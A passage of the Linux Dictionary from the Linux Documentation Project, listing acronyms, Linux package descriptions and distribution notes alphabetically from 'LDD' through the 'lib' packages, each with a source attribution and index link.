Lightly Doped Drain (IC, MOSFET) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldd

print shared library dependencies From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lde

Linux Disk Editor This allows you to view some Linux fs's (a la Norton disk edit), hex block and inode editing are now supported and you can use it to dump an erased file to another partition with a little bit of work. Supports ext2, minix, and msdos. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldetect

The hardware device lists provided by this package are used as lookup table to get hardware autodetection From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldetect-1st

The hardware device lists provided by this package are used as lookup table to get hardware autodetection From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDID

Logical Disk IDentifier (MS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldirectord

Monitors virtual services provided by LVS. Ldirectord is a stand-alone daemon to monitor services of real for virtual services provided by The Linux Virtual Server (<http://www.linuxvirtualserver.org/>). It is simple to install and works with the heartbeat code (<http://www.linux-ha.org/>). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDP

Label Distribution Protocol (IETF, RFC 3036, MPLS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDP

Linux Document Projects (Linux) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDP

Loader Debugger Protocol (RFC 909) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldp-docbook-dsssl

The Linux Documentation Project's DSSSL stylesheets This is a customized stylesheet authored by contributors to the Linux Documentation Project. It imports standard DocBook stylesheets and overrides certain components. This package provides the DSSSL stylesheet; XSL versions can be found in ldp-docbook-xsl. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldp-docbook-xsl

The Linux Documentation Project's XSL stylesheets These are customized stylesheets authored by contributors to the Linux Documentation Project. They import standard DocBook stylesheets and

override certain components. This package provides the XSL stylesheets; a DSSSL version can be found in `ldp-docbook-dsssl`. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldp-sag

HTML, PS version of Linux System Administrator's Guide This is the Linux System Administrator's Guide, one of the documents of the Linux Documentation Project. The Linux Documentation Project (LDP) is working on developing good, reliable documentation for the Linux operating system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDR

Light Detect Resistor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ldso

The Linux dynamic linker and library for `libc4` and `libc5`. This dynamic linker provides the user-level support for loading and linking DLL and ELF shared libraries. You do not need this package unless you have very old programs which use `libc4` or `libc5`. The `libc6` package has its own dynamic linker that is used for all current programs. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDT

Lightning Data Transfer [bus] (AMD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDT

Local Descriptor Table (CPU, Intel) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LDTR

Load Descriptor Table Register (CPU, Intel, assembler, IC) From VERA

LaenderDatenVerareitungsAnlage From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LE

LAN Emulation (LANE, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

le

Text Editor with block and binary operations LE has many block operations with stream and rectangular blocks, can edit both unix and dos style files (LF/CRLF), is binary clean, has hex mode, can edit large files and mmap'able devices in `MAP_SHARED` mode, has tunable syntax highlighting, tunable color scheme (can use default colors), tunable key map. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEA

Law Enforcement Agency (ETSI, ETSI 201 671) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEAF

Law Enforcement Access Field (EES, cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEAF (Linux Embedded Appliance Firewall)

LEAF (Linux Embedded Appliance Firewall) is an easy-to-use embedded Linux system that is meant for creating network appliances for use in small office, home office, and home automation environments. There are several branches of LEAF, including Bering, Dachstein, Oxygen, PacketFilter, and WRP. The initial release of Bering (Beta 4), was released March 7, 2002. Bering 1.2

was released May 11, 2003. Shorewall 1.3.9b was released October 23, 2002. Mosquito 3.4 was announced July 7, 2002. The WISP-Dist branch released version 2397 on December 26, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

leafnode

NNTP server for small leaf sites Leafnode is a news server suitable for small, limited-bandwidth sites with only a few users. Leafnode keeps track of which groups are being read, and downloads only articles in those groups. Leafnode has been designed to require no maintenance and to be easy to set up. Perl and the libnet-perl package are required to use some optional features of the package for handling very low volume newsgroups. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

leaktracer

Simple and efficient memory-leak tracer for C++ programs LeakTracer traces calls to new and delete, and reports inconsistencies in the C++-level memory-management. It has limitations (eg. when you override the new and delete operators yourself), but is very easy to use (eg. compared to more complete tools like mpatrol), traces the C++ level (unlike most other tools), and gives pretty good results. It uses gdb to display source-file information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEARP

LAN Emulation Address Resolution Protocol (LANE, ARP, ATM), "LE-ARP" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEAS

LATA Equal Access System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Leased Line

Refers to line such as a telephone line or fiber-optic cable that is rented for exclusive 24-hour, 7-days-a-week use from your location to another location. The highest speed data connections require a leased line. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

least privilege

A best-practices principle that states that users have only the minimum access they need, and no more. Example: System administrators typically have multiple accounts with different rights. For example, when I'm logged in as a normal user, I do not have rights to administrator my own machine. I must login as a separate account in order to administer the system, then log out as soon as I'm done. Most UNIX systems will use the hash/pound sign # at the command prompt in order to hint to the user that they have root access and should be careful. Key point: One of the leading causes of security breaches is authorization creep: as users change roles, they often get new privileges, but old privileges are rarely taken away. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

leave

Reminds you when you have to leave Leave waits until the specified time, then reminds you that you have to leave. You are reminded 5 minutes and 1 minute before the actual time, at the time, and every minute thereafter. When you log off, leave exits just before it would have printed the next message. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEC

LAN Emulation Client (LANE, ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEC

Layered Error Correction (CD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEC

Local Exchange Carrier (FCC, LATA, IEC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LECID

LAN Emulation Client Identifier (LANE, ATM, LEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LECS

Local area network Emulation Configuration Server (ATM, LANE, LEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LED

Light-Emitting Diode From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ledcontrol

Scriptable keyboard LED control Ledcontrol is a package designed to show any kind of information on the unused LEDs on your keyboard. Features include blinking LEDs, animations, priority levels etc. The GTK+ interface gled is in the package ledcontrol-gtk. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ledcontrol-gtk

GTK frontend for ledcontrol Ledcontrol-gtk is a GTK+ frontend for ledcontrol with which you can easily test different kinds of blinkings, animations, etc. with ledd. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ledit

A line editor for interactive programs. Ledit is a line editor, allowing to use control commands like in emacs or in shells (bash, tcsh). To be used with interactive commands. It is written in Ocaml and Camlp4 and uses the library unix.cma. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Leetnux

Leetnux is a Linux distribution specifically designed for Linux users who want maximum configurability. Therefore, the installation is quite hard, absolutely nothing is done "automagically" as in modern Linux distributions, but the user has total control over the installation. The idea behind Leetnux comes from Linux From Scratch, but a Leetnux system is not as "pure" as an LFS system, because a minimal pre-compiled system must be installed. Distribution development is not all that active. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

legos

Alternative OS for Lego Mindstorms RCX supports devel. in C/C++ A development environment and multitasking operating system for use as an alternative to the standard Lego Mindstorms RCX firmware. For more info: <http://legos.sourceforge.net> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Leka Rescue Floppy

Leka Rescue Floppy is a Linux mini-distribution that installs into one floppy disk. It is meant for disaster recovery, but also contains many fine features like networking support, a dhcpd, a Web browser, and an IRC client. Initial release 0.5.0 is dated February 26, 2002. V0.5.1 was released the following day. Stable version 0.7.1 was released July 6, 2002. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

leksbot

An explanatory dictionary of botanic and biological terms LEKSBOT is an explanatory dictionary of botanic and biological terms. Currently it contains about 1500 terms but the number is growing up and will cover other sciences relative with biology (entomology, etc.). The included program KATAXWR is a simple utility with which you can add terms in your personal database. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEL

Link, Embed and Launch (UNIX) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEM

Linux Dictionary

LEM is a small i386 Linux distribution which provides full network and X Server. LEM has disappeared from this website [May 6, 2002]. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEMP

Lightning ElectroMagnetic Pulse From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEN

Low Entry Networking (IBM, SNA, PU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEO

LeitungsEndgeraet, Optisch Mil., Germany From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LEO

Link Everything Online (WWW, TUM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LES

LAN Emulation Server (LANE, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LES

Line Errored Seconds (DS1/E1, DS3/E3) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

less

A file pager program, similar to more(1) Less is a program similar to more (1), but which allows backward movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi (1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. Homepage: <http://www.greenwoodsoftware.com/less/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

less

opposite of more From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

less

The less utility is a text file browser that resembles more, but has more capabilities. Less allows you to move backwards in the file as well as forwards. Since less doesn't have to read the entire input file before it starts, less starts up more quickly than text editors (for example, vi). You should install less because it is a basic utility for viewing textfiles, and you'll use it frequently. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

less

The less utility is a text file browser that resembles more, but has more capabilities. Less allows you to move backwards in the file as well as forwards. Since less does not have to read the entire input file before it starts, less starts up more quickly than text editors. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lessecho

expand metacharacters, such as * and ?, in filenames on Unix systems. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lessfile

"input preprocessor" for less. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesskey

specify key bindings for less From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesspipe

"input preprocessor" for less. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesstif

LessTif is a free replacement for OSF/Motif(R), which provides a full set of widgets for application development (menus, text entry areas, scrolling windows, etc.). LessTif is source compatible with OSF/Motif(R) 1.2. The widget set code is the primary focus of development. If you are installing lesstif, you also need to install lesstif-clients. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesstif

Lesstif is an API compatible clone of the Motif toolkit. Most of the Motif 1.2 API is in place. Motif 2.1 functionality is being improved. Many Motif applications compile and run out-of-the-box with LessTif, and we want to hear about those that don't. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesstif-bin

User binaries for LessTif. Contains user binaries for LessTif, the Hungry Programmers' version of OSF/Motif, including a clone of mwm, the Motif Window Manager. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesstif-dbg

Library with debugging symbols for LessTif. LessTif, made by the Hungry Programmers, is a free (LGPL-ed) version of OSF/Motif; it aims ultimately at binary compatibility with Motif 1.2. Contains shared libraries with debugging symbols for libXm and libMrm. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lesstif1

OSF/Motif implementation released under LGPL. Contains runtime shared libraries for LessTif, the Hungry Programmers' version of OSF/Motif. Contains runtime shared libraries for libXm and libMrm. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

levee

a very small vi clone Levee is a screen oriented editor based on the Unix editor "vi". It provides a terse, powerful way to enter and edit text. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lex

a "Lexical Analyser". Its main job is to break up an input stream into more usable elements. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lex

fast lexical analyzer generator From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lexgrog

parse header information in man pages From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lexmark7000linux

A printer driver for Lexmark 7000 "GDI" printers This is the printer driver for Lexmark 7000 "GDI" printers. * Known to work with Lexmark 7000, 7200 and 5700 printers * 600x600 dpi Black & White printing * Preliminary 600x600 CMY colour printing for 7000, 7200 Note that Lexmark printer drivers are now available for Ghostscript, so Debian's gs / gs-aladdin packages will include Lexmark printer support. Hence, this lexmark7000linux package will be obsolete soon, if not already. :-)
Author: Henryk Paluch <paluch@bimbo.fjfi.cvut.cz> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LF

Line Feed (ASCII) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LF

Login Facility (DCE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFA

Link Field Address (Forth) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFA

Local Feature Analysis From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFAP

Leight weight Flow Admission Protocol (Cabletron, RFC 2124) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFB

Linear Frame Buffer (CPU, VESA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFCC

Linux Federation for Commercial Customers (Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFE

Low Frequency Effect (audio) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFN

Long File Names From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFNBK

Long File Name BacKup (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFO

Low Frequency Oscillator From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFS

Loopback File System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LFSR

Linear Feedback Shift Register (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lftp

LFTP is a shell-like command line ftp client. The main two advantages over other ftp clients are reliability and ability to perform tasks in background. It will reconnect and reget the file being transferred if the connection broke. You can start a transfer in background and continue browsing on the ftp site. It does this all in one process. When you have started background jobs and feel you are done, you can just exit lftp and it automatically moves to nohup mode and completes the transfers. It has also such nice features as reput and mirror. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lftp

LFTP is a sophisticated ftp/http file transfer program. Like bash, it has jobcontrol and uses the readline library for input. It has bookmarks, built-inmirroring, and can transfer several files in parallel. It is designed with reliability in mind. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lftp

Sophisticated command-line FTP/HTTP client programs Lftp is a file retrieving tool that supports FTP and HTTP protocols under both IPv4 and IPv6. Lftp has an amazing set of features, while preserving its interface as simple and easy as possible. The main two advantages over other ftp clients are reliability and ability to perform tasks in background. It will reconnect and reget the file being transferred if the connection broke. You can start a transfer in background and continue browsing on the ftp site. It does this all in one process. When you have started background jobs and feel you are done, you can just exit lftp and it automatically moves to nohup mode and completes the transfers. It has also such nice features as reput and mirror. It can also download a file as soon as possible by using several connections at the same time. Lftp can also be scriptable, it can be used to mirror sites, it

let you copy files among remote servers (even between FTP and HTTP). It has an extensive online help. It supports bookmarks, and connecting to several ftp/http sites at the same time. This package also includes lftpget – A simple non-interactive tool for downloading files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lg

Linux Gazette magazine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lgeneral

A "Panzer General" – like game A game similar to well known to most of PC users strategic game – Panzer General. It is a turned-based strategy written by Michael Speck. Uses libSDL and requires X Window System. It's not a final version but works fine and is worth playing. Included HOWTO describes step-by-step how to create custom scenarios and campaigns. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LGPL

Lesser General Public License (GPL, GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LGPL (Library GPL)

A variation of the GPL that covers program libraries. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LGPO

Local Group Policy Object (AD, GPO) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LGX

Linux/GNU/X [distribution] (Yggdrasil, Linux, GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lha

LHA is an archiving and compression utility for LHarc format archives. LHA is mostly used in the DOS world, but can be used under Linux to extract DOS files from LHA archives. Install the lha package if you need to extract DOS files from LHA archives. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LHArc

An older file compression and archiving method rarely used anymore. Files packaged with this technology typically have a .lha or .lzh extension. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LI

Lawful Interception (ETSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIAP (Linux in a Pillbox)

This project puts together encapsulated pieces of a Linux operating system. Site is in English and Polish. Last update August 2001. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIB

Linear Incremental Backoff (CSMA/CD, BEB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libaa1

AA-lib is a low level gfx library just as many other libraries are. The main difference is that AA-lib does not require graphics device. In fact, there is no graphical output possible. AA-lib replaces those old-fashioned output methods with powerful ascii-art renderer. Now my linux boots with a nice penguin logo at secondary display (yes! Like Win95 does:) AA-lib API is designed to be similar to other graphics libraries. Learning a new API would be a piece of cake! The AA library is needed for GIMP From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libacl

This package contains the libacl.so dynamic library which contains the POSIX 1003.1e draft standard 17 functions for manipulating access control lists. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libalsa2

Advanced Linux Sound Architecture (ALSA) is a modularized architecture which supports quite a large range of ISA and PCI cards. It's fully compatible with old OSS drivers (either OSS/Lite, OSS/commercial). To use the features of alsa, one can either use:– the old OSS api– the new ALSA api that provides many enhanced features. Using the ALSA api requires to use the ALSA library.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libao

Libao is a cross platform audio output library. It currently supports ESD, OSS, Solaris, and IRIX.

From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libart_igpl

Graphics routines used by the GnomeCanvas widget and some other applications. libart renders vector paths and the like. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libart_igpl2

This is the LGPL'd component of libart. Libart is a library for high-performance 2D graphics. All functions needed for running the Gnome canvas, and for printing support, will be going in here. The GPL'd component will be getting various enhanced functions for specific applications. From

Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libatk1.0_0

Accessibility means providing system infrastructure that allows add-on assistive software to transparently provide specialized input and output capabilities. For example, screen readers allow blind users to navigate through applications, determine the state of controls, and read text via text to speech conversion. On-screen keyboards replace physical keyboards, and head-mounted pointers replace mice. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libattr

This package contains the libattr.so dynamic library which contains the extended attribute system calls and library functions. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmpeg1

The MPEG Library is a collection of C routines to decode MPEG movies and dither them in a variety of colour schemes. Most of the code in the library comes directly from the Berkeley MPEG player, an X11-specific implementation that works fine, but suffers from minimal documentation and a lack of modularity. A front end to the Berkeley decoding engine was developed by Greg Ward at the Montreal Neurological Institute in May/June 1994 to facilitate the development of an MPEG player specifically for Silicon Graphics workstations. The decoding engine together with the MNI front end constitute the MPEG Library. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonobo

Bonobo is a component system based on CORBA, used by the GNOME desktop. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonobo

Bonobo is a library that provides the necessary framework for GNOME applications to deal with compound documents, i.e. those with a spreadsheet and graphic embedded in a word-processing document. This package contains various needed modules and files for bonobo 2 to operate. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonobo-activation4

Bonobo Activation is an object activation framework for GNOME. It uses ORBit. This package contains necessary libraries to run any programs linked with bonobo-activation. From Mandrake 9.0

RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonobo-conf0

Bonobo configuration moniker. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonobo2

Bonobo is a library that provides the necessary framework for GNOME applications to deal with compound documents, i.e. those with spreadsheet and graphic embedded in a word-processing document. This package provides libraries to use Bonobo. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonoboui

Bonobo is a component system based on CORBA, used by the GNOME desktop. libbonoboui contains the user interface related components that come with Bonobo. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbonoboui

Bonobo is a library that provides the necessary framework for GNOME applications to deal with compound documents, i.e. those with a spreadsheet and graphic embedded in a word-processing document. This package contains various needed modules and files for bonobo 2 to operate. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libbzip2_1

Library of bzip2 functions, for developing apps which will use the bzip2 library (aka libbz2). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcap

libcap is a library for getting and setting POSIX.1e (formerly POSIX 6) draft 15 capabilities. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcapplet0

This package provides the "libcapplet.so.0" library and header files as found in GNOME 1, used by some packages not yet ported to GNOME 2. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcapplet1

libcapplet originally belongs to GNOME control-center, and is a library necessary for 'capplets', which means different modules for control-center. It has been splitted off from control-center as a package of its own. This package contains the main libraries necessary to run capplets. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcdda0

This is the development libraries for cdparanoia. cdparanoia is a complete rewrite of Heiko Eissfeldt's 'cdda2wav' program, and generally is much better at succeeding to read difficult discs with cheap drives. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcddb-slave2_0

libraries for running GNOME media. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libconsole0

This package contains libraries for console tools From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcups1

The Common Unix Printing System provides a portable printing layer for UNIX(TM) operating systems. This package contains the CUPS API library which contains common functions used by both the CUPS daemon and all CUPS frontends (lpr-cups, xpp, qtcups, kups, ...). This package you need for both CUPS clients and servers. It is also needed by Samba. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libcurl2

libcurl is a library of functions for sending and receiving files through various protocols, including http and ftp. You should install this package if you plan to use any applications that use libcurl. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libdb

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. Berkeley DB is used by many applications, including Python and Perl, so this should be installed on all systems. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libdbcxx

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. Berkeley DB is used by many applications, including Python and Perl, so this should be installed on all systems. This package contains the files needed to build C++ programs which use Berkeley DB. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libefs1

This is a first approach to implement a file-system-inside-a-file. The library is called libefs (EFS = Embedded File System). This package is part of Bonobo. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libelf

The libelf package contains a library for accessing ELF object files. Libelf allows you to access the internals of the ELF object file format, so you can see the different sections of an ELF file. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libevolution0

Evolution is the GNOME mailer, calendar, contact manager and communications tool. The tools which make up Evolution will be tightly integrated with one another and act as a seamless personal information-management tool. This package contains dynamic libraries used by Evolution. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libexif-gtk4

Most digital cameras produce EXIF files, which are JPEG files with extra tags that contain information about the image. The EXIF library allows you to parse an EXIF file and read the data from those tags. This library does not contain any documentation, but it seems to make the connection between libexif, the core library for EXIF, and GTK-based graphical frontends. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libexif8

Most digital cameras produce EXIF files, which are JPEG files with extra tags that contain information about the image. The EXIF library allows you to parse an EXIF file and read the data from those tags. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libext2fs2

The e2fsprogs package contains a number of utilities for creating, checking, modifying and correcting any inconsistencies in second extended (ext2) filesystems. E2fsprogs contains e2fsck (used to repair filesystem inconsistencies after an unclean shutdown), mke2fs (used to initialize a partition to contain an empty ext2 filesystem), debugfs (used to examine the internal structure of a filesystem, to manually repair a corrupted filesystem or to create test cases for e2fsck), tune2fs (used to modify filesystem parameters) and most of the other core ext2fs filesystem utilities. You should install libext2fs2 to use tools who use ext2fs features. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libf2c

This package contains Fortran 77 shared library which is needed to run Fortran 77 3.1 dynamically linked programs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libfam0

fam, the File Alteration Monitor, provides a daemon and an API which applications can use to be notified when specific files or directories are changed. This package contains library used by fam daemon. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libftk1.1

The Fast Light Tool Kit ("FLTK", pronounced "fulltick") is a LGPL'd C++ graphical user interface toolkit for X (UNIX(r)), OpenGL(r), and Microsoft(r) Windows(r) NT 4.0, 95, or 98. It was originally developed by Mr. Bill Spitzak and is currently maintained by a small group of developers across the world with a central repository in the US. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libfontconfig1

Fontconfig is designed to locate fonts within the system and select them according to requirements specified by applications. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libg-wrap1

g-wrap is a tool for specifying types, functions, and constants to import into a Scheme interpreter, and for generating code (in C) to interface these to the Guile and RScheme interpreters in particular. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgail17

Gail is the GNOME Accessibility Implementation Library From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgal19

A collection of GNOME widgets and utility functions. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgal21

This the G App Libs (GAL). This module contains some library functions that came from Gnumeric and Evolution. The idea is to reuse those widgets across various larger GNOME applications that might want to use these widgets. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgcc

Some GCC version 3.0 and later compiled libraries and/or binaries need this shared support library. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgcj

The libgcj package includes the Java runtime library, which is needed to run Java programs compiled using the gcc Java compiler (gcj). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libGConf2_4

